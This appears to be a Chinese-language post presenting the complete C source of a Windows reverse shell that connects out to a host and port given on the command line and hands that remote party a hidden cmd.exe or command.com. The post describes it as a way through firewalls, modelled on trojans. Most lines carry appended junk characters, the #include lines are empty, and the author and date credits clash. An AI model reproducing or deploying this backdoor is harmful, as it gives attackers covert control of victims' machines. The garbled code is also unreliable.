这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $R%tD.d3
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/* ============================== sJ{r+wY
Rebound port in Windows NT Eh^gR`I
By wind,2006/7 Z((e-T#,
===============================*/ /dO*t4$ @?
#include K~4bT=
#include Y-lwS-Ii
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#pragma comment(lib,"wsock32.lib") aJ@lT&.
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void OutputShell(); d_!}9
SOCKET sClient; PhAD:A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m>|7&l_
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void main(int argc,char **argv) r
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{ #"8'y
WSADATA stWsaData; <Sr:pm
int nRet; %}JSR y
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) bI^F(
{ "[-W(=
printf("Useage:\n\rRebound DestIP DestPort\n"); `6RccEm
return; !L(
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} M N (o
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WSAStartup(MAKEWORD(2,2),&stWsaData); }t:*w
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'y5H%I!
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stSaiClient.sin_family = AF_INET; M2;6Cz>,P
stSaiClient.sin_port = htons(0); OsW*@v(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :;c`qO4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Al]*iw{
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printf("Bind Socket Failed!\n"); ]q"y P0
return; NB5lxaL
} _[Sh`4`r
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stSaiServer.sin_family = AF_INET; ?o`:V|<v
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9Fw NX
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6y "]2UgQk
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6$kh5$[
{ XL9-N?(@
printf("Connect Error!"); J qmL|S)
return; d^v.tYM$N
} -PU.Uw]
OutputShell(); ur7S
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} &;`E3$>
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void OutputShell() ~3&hvm[IQ
{ 4#.Q|vyl]"
char szBuff[1024]; #_|O93HN'
SECURITY_ATTRIBUTES stSecurityAttributes; 2aX{r/Lc
OSVERSIONINFO stOsversionInfo; nywC]T
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4@Z!?QzW
STARTUPINFO stStartupInfo; :6u.\u
char *szShell; /"8|26
PROCESS_INFORMATION stProcessInformation; i) Q
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unsigned long lBytesRead; US"UkY-\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9]lyV
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3xKgj5M
stSecurityAttributes.lpSecurityDescriptor = 0; P2 qC[1hYH
stSecurityAttributes.bInheritHandle = TRUE; Sqyju3Yp
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FFe{=H,=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }f% Qk0^
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $9xp@8b\_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o*"Q{Xh#Qd
stStartupInfo.wShowWindow = SW_HIDE; a;nYR5f
stStartupInfo.hStdInput = hReadPipe; ?Iij[CbU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;Bw3@c
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GetVersionEx(&stOsversionInfo); feeHXKD|
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switch(stOsversionInfo.dwPlatformId) W7@Vma`
{ Twr,O;*u=
case 1: `*`ZgTV
szShell = "command.com"; &&m1_K
break; {x[C\vZsi]
default: q_L. Sy|)
szShell = "cmd.exe"; y\[* mgl:
break; tA'5ufj*:
} ?YDMl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +
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send(sClient,szMsg,77,0); +"JWsD(C(
while(1) ) ]<^*b>
{ :_nGh]%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {ot6ssT=D
if(lBytesRead) 86dz Jh
{ L|1~'Fz#w
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yX%> %#$
send(sClient,szBuff,lBytesRead,0); gQ%mVJB{(
} \5=4!Ez
else 5Z"N2D)."
{ hstGe>f[6
lBytesRead=recv(sClient,szBuff,1024,0); BQeg-M
if(lBytesRead<=0) break; LfK/wSvWw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lH@goh
} D~`RLPMk
} &Fjyi"8(r
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return; /[Rp~YzW
}